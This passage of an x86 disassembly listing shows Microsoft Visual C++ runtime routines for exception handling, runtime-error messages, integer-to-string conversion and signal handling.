push 0
push 0
push offset loc_425EA4
push [ebp+arg_0]
call sub_430F9E
loc_425EA4: ; DATA XREF: sub_425E8C+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_425E8C endp
; =============== S U B R O U T I N E =======================================
sub_425EAC proc near ; DATA XREF: sub_425ECE+Ao
; .text:00425F3Fo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_425ECD
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_425ECD: ; CODE XREF: sub_425EAC+10j
retn
sub_425EAC endp
; =============== S U B R O U T I N E =======================================
sub_425ECE proc near ; CODE XREF: sub_425F84+67p
; sub_425F84+A7p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_425EAC
push large dword ptr fs:0
mov large fs:0, esp
loc_425EEB: ; CODE XREF: sub_425ECE:loc_425F26j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_425F28
cmp esi, [esp+1Ch+arg_4]
jz short loc_425F28
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_425F26
push 101h
mov eax, [ebx+esi*4+8]
call sub_425F62
call dword ptr [ebx+esi*4+8]
loc_425F26: ; CODE XREF: sub_425ECE+44j
jmp short loc_425EEB
; ---------------------------------------------------------------------------
loc_425F28: ; CODE XREF: sub_425ECE+2Aj
; sub_425ECE+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_425ECE endp
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_425EAC
jnz short locret_425F58
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_425F58
mov eax, 1
locret_425F58: ; CODE XREF: .text:00425F46j
; .text:00425F51j
retn
; ---------------------------------------------------------------------------
push ebx
push ecx
mov ebx, offset dword_44367C
jmp short loc_425F6C
; =============== S U B R O U T I N E =======================================
sub_425F62 proc near ; CODE XREF: sub_425ECE+4Fp
; sub_425F84+78p
push ebx
push ecx
mov ebx, offset dword_44367C
mov ecx, [ebp+8]
loc_425F6C: ; CODE XREF: .text:00425F60j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_425F62 endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425F84 proc near ; DATA XREF: sub_41B970+Ao
; sub_422F40+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_426024
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_425FB7: ; CODE XREF: sub_425F84+90j
cmp esi, 0FFFFFFFFh
jz short loc_42601D
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_42600B
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_42600B
js short loc_426016
mov edi, [ebx+8]
push ebx
call sub_425E8C
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_425ECE
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_425F62
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_42600B: ; CODE XREF: sub_425F84+40j
; sub_425F84+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_425FB7
; ---------------------------------------------------------------------------
loc_426016: ; CODE XREF: sub_425F84+54j
mov eax, 0
jmp short loc_426039
; ---------------------------------------------------------------------------
loc_42601D: ; CODE XREF: sub_425F84+36j
mov eax, 1
jmp short loc_426039
; ---------------------------------------------------------------------------
loc_426024: ; CODE XREF: sub_425F84+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_425ECE
add esp, 8
pop ebp
mov eax, 1
loc_426039: ; CODE XREF: sub_425F84+97j
; sub_425F84+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_425F84 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_425ECE
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426060 proc near ; CODE XREF: sub_41BAE0+Cp
; sub_41BB10+Cp
push ebp
mov ebp, esp
cmp dword_4920E0, 1
jz short loc_42607E
cmp dword_4920E0, 0
jnz short loc_4260A7
cmp dword_442C54, 1
jnz short loc_4260A7
loc_42607E: ; CODE XREF: sub_426060+Aj
push 0FCh
call sub_4260B0
add esp, 4
cmp dword_49229C, 0
jz short loc_42609A
call dword_49229C
loc_42609A: ; CODE XREF: sub_426060+32j
push 0FFh
call sub_4260B0
add esp, 4
loc_4260A7: ; CODE XREF: sub_426060+13j
; sub_426060+1Cj
pop ebp
retn
sub_426060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4260B0 proc near ; CODE XREF: sub_41BAE0+15p
; sub_41BB10+15p ...
var_1B0 = byte ptr -1B0h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
push edi
mov [ebp+var_8], 0
jmp short loc_4260CE
; ---------------------------------------------------------------------------
loc_4260C5: ; CODE XREF: sub_4260B0:loc_4260E5j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_4260CE: ; CODE XREF: sub_4260B0+13j
cmp [ebp+var_8], 12h
jnb short loc_4260E7
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
cmp edx, dword_443690[ecx*8]
jnz short loc_4260E5
jmp short loc_4260E7
; ---------------------------------------------------------------------------
loc_4260E5: ; CODE XREF: sub_4260B0+31j
jmp short loc_4260C5
; ---------------------------------------------------------------------------
loc_4260E7: ; CODE XREF: sub_4260B0+22j
; sub_4260B0+33j
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
cmp ecx, dword_443690[eax*8]
jnz loc_426268
cmp [ebp+arg_0], 0FCh
jz short loc_426124
mov edx, [ebp+var_8]
mov eax, off_443694[edx*8]
push eax
push 0
push 0
push 0
push 1
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_426124
int 3 ; Trap to Debugger
loc_426124: ; CODE XREF: sub_4260B0+51j
; sub_4260B0+71j
cmp dword_4920E0, 1
jz short loc_42613F
cmp dword_4920E0, 0
jnz short loc_426178
cmp dword_442C54, 1
jnz short loc_426178
loc_42613F: ; CODE XREF: sub_4260B0+7Bj
push 0
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
mov eax, off_443694[edx*8]
push eax
call sub_418E70
add esp, 4
push eax
mov ecx, [ebp+var_8]
mov edx, off_443694[ecx*8]
push edx
push 0FFFFFFF4h
call ds:dword_49443C
push eax
call ds:dword_4942E4
jmp loc_426268
; ---------------------------------------------------------------------------
loc_426178: ; CODE XREF: sub_4260B0+84j
; sub_4260B0+8Dj
cmp [ebp+arg_0], 0FCh
jz loc_426268
push 104h
lea eax, [ebp+var_110]
push eax
push 0
call ds:dword_4942F8
test eax, eax
jnz short loc_4261B1
push offset aProgramNameUnk ; "<program name unknown>"
lea ecx, [ebp+var_110]
push ecx
call sub_419FA0
add esp, 8
loc_4261B1: ; CODE XREF: sub_4260B0+EBj
lea edx, [ebp+var_110]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
push eax
call sub_418E70
add esp, 4
add eax, 1
cmp eax, 3Ch
jbe short loc_4261FA
lea ecx, [ebp+var_110]
push ecx
call sub_418E70
add esp, 4
mov edx, [ebp+var_C]
lea eax, [edx+eax-3Bh]
mov [ebp+var_C], eax
push 3
push offset a___ ; "..."
mov ecx, [ebp+var_C]
push ecx
call sub_4191A0
add esp, 0Ch
loc_4261FA: ; CODE XREF: sub_4260B0+11Cj
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
lea edx, [ebp+var_1B0]
push edx
call sub_419FA0
add esp, 8
mov eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_1B0]
push ecx
call sub_419FB0
add esp, 8
push offset asc_432DD0 ; "\n\n"
lea edx, [ebp+var_1B0]
push edx
call sub_419FB0
add esp, 8
mov eax, [ebp+var_8]
mov ecx, off_443694[eax*8]
push ecx
lea edx, [ebp+var_1B0]
push edx
call sub_419FB0
add esp, 8
push 12010h
push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library"
lea eax, [ebp+var_1B0]
push eax
call sub_426B40
add esp, 0Ch
loc_426268: ; CODE XREF: sub_4260B0+44j
; sub_4260B0+C3j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4260B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov dword ptr [ebp-4], 0
jmp short loc_426286
; ---------------------------------------------------------------------------
loc_42627D: ; CODE XREF: .text:loc_42629Dj
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_426286: ; CODE XREF: .text:0042627Bj
cmp dword ptr [ebp-4], 12h
jnb short loc_42629F
mov ecx, [ebp-4]
mov edx, [ebp+8]
cmp edx, dword_443690[ecx*8]
jnz short loc_42629D
jmp short loc_42629F
; ---------------------------------------------------------------------------
loc_42629D: ; CODE XREF: .text:00426299j
jmp short loc_42627D
; ---------------------------------------------------------------------------
loc_42629F: ; CODE XREF: .text:0042628Aj
; .text:0042629Bj
mov eax, [ebp-4]
mov ecx, [ebp+8]
cmp ecx, dword_443690[eax*8]
jnz short loc_4262BA
mov edx, [ebp-4]
mov eax, off_443694[edx*8]
jmp short loc_4262BC
; ---------------------------------------------------------------------------
loc_4262BA: ; CODE XREF: .text:004262ACj
xor eax, eax
loc_4262BC: ; CODE XREF: .text:004262B8j
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4262C0 proc near ; CODE XREF: sub_41BF80+31Dp
; sub_42ACC0+1EFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_4262E7
cmp [ebp+arg_0], 0
jge short loc_4262E7
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_426310
add esp, 10h
jmp short loc_4262FD
; ---------------------------------------------------------------------------
loc_4262E7: ; CODE XREF: sub_4262C0+7j
; sub_4262C0+Dj
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_426310
add esp, 10h
loc_4262FD: ; CODE XREF: sub_4262C0+25j
mov eax, [ebp+arg_4]
pop ebp
retn
sub_4262C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426310 proc near ; CODE XREF: sub_4262C0+1Dp
; sub_4262C0+35p ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+arg_C], 0
jz short loc_426339
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
neg eax
mov [ebp+arg_0], eax
loc_426339: ; CODE XREF: sub_426310+10j
mov ecx, [ebp+var_4]
mov [ebp+var_8], ecx
loc_42633F: ; CODE XREF: sub_426310+79j
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_8]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_8]
mov [ebp+arg_0], eax
cmp [ebp+var_C], 9
jbe short loc_426371
mov edx, [ebp+var_C]
add edx, 57h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_426385
; ---------------------------------------------------------------------------
loc_426371: ; CODE XREF: sub_426310+49j
mov edx, [ebp+var_C]
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_426385: ; CODE XREF: sub_426310+5Fj
cmp [ebp+arg_0], 0
ja short loc_42633F
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_42639A: ; CODE XREF: sub_426310+BCj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_10], dl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
mov cl, [ebp+var_10]
mov [eax], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jb short loc_42639A
mov esp, ebp
pop ebp
retn
sub_426310 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+10h], 0Ah
jnz short loc_4263F9
cmp dword ptr [ebp+8], 0
jge short loc_4263F9
mov dword ptr [ebp-4], 1
jmp short loc_426400
; ---------------------------------------------------------------------------
loc_4263F9: ; CODE XREF: .text:004263E8j
; .text:004263EEj
mov dword ptr [ebp-4], 0
loc_426400: ; CODE XREF: .text:004263F7j
mov eax, [ebp-4]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_426310
add esp, 10h
mov eax, [ebp+0Ch]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_426310
add esp, 10h
mov eax, [ebp+0Ch]
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+14h], 0Ah
jnz short loc_426461
cmp dword ptr [ebp+0Ch], 0
jg short loc_426461
jl short loc_426458
cmp dword ptr [ebp+8], 0
jnb short loc_426461
loc_426458: ; CODE XREF: .text:00426450j
mov dword ptr [ebp-4], 1
jmp short loc_426468
; ---------------------------------------------------------------------------
loc_426461: ; CODE XREF: .text:00426448j
; .text:0042644Ej ...
mov dword ptr [ebp-4], 0
loc_426468: ; CODE XREF: .text:0042645Fj
mov eax, [ebp-4]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_426490
mov eax, [ebp+10h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426490 proc near ; CODE XREF: .text:0042647Cp
; .text:004265A5p
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
cmp [ebp+arg_10], 0
jz short loc_4264C4
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
neg eax
mov ecx, [ebp+arg_4]
adc ecx, 0
neg ecx
mov [ebp+arg_0], eax
mov [ebp+arg_4], ecx
loc_4264C4: ; CODE XREF: sub_426490+10j
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_4264CA: ; CODE XREF: sub_426490+9Fj
; sub_426490+A7j
mov eax, [ebp+arg_C]
xor ecx, ecx
push ecx
push eax
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41A4B0
mov [ebp+var_C], eax
mov ecx, [ebp+arg_C]
xor edx, edx
push edx
push ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41A440
mov [ebp+arg_0], eax
mov [ebp+arg_4], edx
cmp [ebp+var_C], 9
jbe short loc_426517
mov edx, [ebp+var_C]
add edx, 57h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42652B
; ---------------------------------------------------------------------------
loc_426517: ; CODE XREF: sub_426490+6Fj
mov edx, [ebp+var_C]
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42652B: ; CODE XREF: sub_426490+85j
cmp [ebp+arg_4], 0
ja short loc_4264CA
jb short loc_426539
cmp [ebp+arg_0], 0
ja short loc_4264CA
loc_426539: ; CODE XREF: sub_426490+A1j
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_426548: ; CODE XREF: sub_426490+EAj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_10], dl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
mov cl, [ebp+var_10]
mov [eax], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jb short loc_426548
mov esp, ebp
pop ebp
retn 14h
sub_426490 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_426490
mov eax, [ebp+10h]
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push esi
cmp dword ptr [ebp+0Ch], 4
jz short loc_4265C3
cmp dword ptr [ebp+0Ch], 3
jnz short loc_4265C8
loc_4265C3: ; CODE XREF: .text:004265BBj
jmp loc_426798
; ---------------------------------------------------------------------------
loc_4265C8: ; CODE XREF: .text:004265C1j
cmp dword ptr [ebp+8], 2
jz short loc_4265E4
cmp dword ptr [ebp+8], 15h
jz short loc_4265E4
cmp dword ptr [ebp+8], 16h
jz short loc_4265E4
cmp dword ptr [ebp+8], 0Fh
jnz loc_4266C1
loc_4265E4: ; CODE XREF: .text:004265CCj
; .text:004265D2j ...
push 1
call sub_41BC90
add esp, 4
cmp dword ptr [ebp+8], 2
jz short loc_4265FA
cmp dword ptr [ebp+8], 15h
jnz short loc_42663F
loc_4265FA: ; CODE XREF: .text:004265F2j
cmp dword_4922B0, 0
jnz short loc_42663F
push 1
push offset sub_4267E0
call ds:dword_4943EC
cmp eax, 1
jnz short loc_426621
mov dword_4922B0, 1
jmp short loc_42663F
; ---------------------------------------------------------------------------
loc_426621: ; CODE XREF: .text:00426613j
call ds:dword_4942F0
mov esi, eax
call sub_422F30
mov [eax], esi
push 1
call sub_41BD30
add esp, 4
jmp loc_426798
; ---------------------------------------------------------------------------
loc_42663F: ; CODE XREF: .text:004265F8j
; .text:00426601j ...
mov eax, [ebp+8]
mov [ebp-10h], eax
mov ecx, [ebp-10h]
sub ecx, 2
mov [ebp-10h], ecx
cmp dword ptr [ebp-10h], 14h
ja short loc_4266B2
mov eax, [ebp-10h]
xor edx, edx
mov dl, ds:byte_4267BF[eax]
jmp ds:off_4267AB[edx*4]
loc_426666: ; DATA XREF: .text:off_4267ABo
mov ecx, dword_4922A0
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov dword_4922A0, edx
jmp short loc_4266B2
; ---------------------------------------------------------------------------
loc_42667A: ; CODE XREF: .text:0042665Fj
; DATA XREF: .text:004267B3o
mov eax, dword_4922A4
mov [ebp-0Ch], eax
mov ecx, [ebp+0Ch]
mov dword_4922A4, ecx
jmp short loc_4266B2
; ---------------------------------------------------------------------------
loc_42668D: ; CODE XREF: .text:0042665Fj
; DATA XREF: .text:004267B7o
mov edx, dword_4922A8
mov [ebp-0Ch], edx
mov eax, [ebp+0Ch]
mov dword_4922A8, eax
jmp short loc_4266B2
; ---------------------------------------------------------------------------
loc_4266A0: ; CODE XREF: .text:0042665Fj
; DATA XREF: .text:004267AFo
mov ecx, dword_4922AC
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov dword_4922AC, edx
loc_4266B2: ; CODE XREF: .text:00426652j
; .text:0042665Fj ...
push 1
call sub_41BD30
add esp, 4
jmp loc_426793
; ---------------------------------------------------------------------------
loc_4266C1: ; CODE XREF: .text:004265DEj
cmp dword ptr [ebp+8], 8
jz short loc_4266D8
cmp dword ptr [ebp+8], 4
jz short loc_4266D8
cmp dword ptr [ebp+8], 0Bh
jz short loc_4266D8
jmp loc_426798
; ---------------------------------------------------------------------------
loc_4266D8: ; CODE XREF: .text:004266C5j
; .text:004266CBj ...
call sub_41FA10
mov [ebp-4], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], offset dword_4435D0
jnz short loc_426735
push 133h
push offset aWinsig_c ; "winsig.c"
push 2
mov ecx, dword_443650
push ecx
call sub_416A30
add esp, 10h
mov edx, [ebp-4]
mov [edx+50h], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], 0
jz short loc_426733
mov ecx, dword_443650
push ecx
push offset dword_4435D0
mov edx, [ebp-4]
mov eax, [edx+50h]
push eax
call sub_418A00
add esp, 0Ch
jmp short loc_426735
; ---------------------------------------------------------------------------
loc_426733: ; CODE XREF: .text:00426714j
jmp short loc_426798
; ---------------------------------------------------------------------------
loc_426735: ; CODE XREF: .text:004266EAj
; .text:00426731j
mov ecx, [ebp-4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+8]
push eax
call sub_426AC0
add esp, 8
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jnz short loc_426753
jmp short loc_426798
; ---------------------------------------------------------------------------
loc_426753: ; CODE XREF: .text:0042674Fj
mov ecx, [ebp-8]
mov edx, [ecx+8]
mov [ebp-0Ch], edx
loc_42675C: ; CODE XREF: .text:loc_426791j
mov eax, [ebp-8]
mov ecx, [eax+4]
cmp ecx, [ebp+8]
jnz short loc_426793
mov edx, [ebp-8]
mov eax, [ebp+0Ch]
mov [edx+8], eax
mov ecx, [ebp-8]
add ecx, 0Ch
mov [ebp-8], ecx
mov edx, dword_443654
imul edx, 0Ch
mov eax, [ebp-4]
mov ecx, [eax+50h]
add ecx, edx
cmp [ebp-8], ecx
jb short loc_426791
jmp short loc_426793
; ---------------------------------------------------------------------------
loc_426791: ; CODE XREF: .text:0042678Dj
jmp short loc_42675C
; ---------------------------------------------------------------------------
loc_426793: ; CODE XREF: .text:004266BCj
; .text:00426765j ...
mov eax, [ebp-0Ch]
jmp short loc_4267A6
; ---------------------------------------------------------------------------
loc_426798: ; CODE XREF: .text:loc_4265C3j
; .text:0042663Aj ...
call sub_422F20
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
loc_4267A6: ; CODE XREF: .text:00426796j
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
off_4267AB dd offset loc_426666 ; DATA XREF: .text:0042665Fr
dd offset loc_4266A0
dd offset loc_42667A
dd offset loc_42668D
dd offset loc_4266B2
byte_4267BF db 0 ; DATA XREF: .text:00426659r
dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4267E0 proc near ; DATA XREF: .text:00426605o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push 1
call sub_41BC90
add esp, 4
cmp [ebp+arg_0], 0
jnz short loc_42680E
mov [ebp+var_8], offset dword_4922A0
mov eax, [ebp+var_8]
mov ecx, [eax]
mov [ebp+var_C], ecx
mov [ebp+var_4], 2
jmp short loc_426824
; ---------------------------------------------------------------------------
loc_42680E: ; CODE XREF: sub_4267E0+14j
mov [ebp+var_8], offset dword_4922A4
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_C], eax
mov [ebp+var_4], 15h
loc_426824: ; CODE XREF: sub_4267E0+2Cj
cmp [ebp+var_C], 0
jnz short loc_426838
push 1
call sub_41BD30
add esp, 4
xor eax, eax
jmp short loc_42686C
; ---------------------------------------------------------------------------
loc_426838: ; CODE XREF: sub_4267E0+48j
cmp [ebp+var_C], 1
jz short loc_42685D
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
push 1
call sub_41BD30
add esp, 4
mov edx, [ebp+var_4]
push edx
call [ebp+var_C]
add esp, 4
jmp short loc_426867
; ---------------------------------------------------------------------------
loc_42685D: ; CODE XREF: sub_4267E0+5Cj
push 1
call sub_41BD30
add esp, 4
loc_426867: ; CODE XREF: sub_4267E0+7Bj
mov eax, 1
loc_42686C: ; CODE XREF: sub_4267E0+56j
mov esp, ebp
pop ebp
retn 4
sub_4267E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426880 proc near ; CODE XREF: sub_41C310+2E7p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
sub ecx, 2
mov [ebp+var_20], ecx
cmp [ebp+var_20], 14h
ja loc_42694E
mov eax, [ebp+var_20]
xor edx, edx
mov dl, ds:byte_426AA2[eax]
jmp ds:off_426A8A[edx*4]
loc_4268B8: ; DATA XREF: .text:off_426A8Ao
mov [ebp+var_18], offset dword_4922A0
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp loc_426956
; ---------------------------------------------------------------------------
loc_4268D5: ; CODE XREF: sub_426880+31j
; DATA XREF: .text:00426A96o
mov [ebp+var_18], offset dword_4922A4
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_426956
; ---------------------------------------------------------------------------
loc_4268EF: ; CODE XREF: sub_426880+31j
; DATA XREF: .text:00426A9Ao
mov [ebp+var_18], offset dword_4922A8
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_426956
; ---------------------------------------------------------------------------
loc_426909: ; CODE XREF: sub_426880+31j
; DATA XREF: .text:00426A92o
mov [ebp+var_18], offset dword_4922AC
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_426956
; ---------------------------------------------------------------------------
loc_426923: ; CODE XREF: sub_426880+31j
; DATA XREF: .text:00426A8Eo
call sub_41FA10
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_426AC0
add esp, 8
add eax, 8
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
jmp short loc_426956
; ---------------------------------------------------------------------------
loc_42694E: ; CODE XREF: sub_426880+20j
; sub_426880+31j
; DATA XREF: ...
or eax, 0FFFFFFFFh
jmp loc_426A86
; ---------------------------------------------------------------------------
loc_426956: ; CODE XREF: sub_426880+50j
; sub_426880+6Dj ...
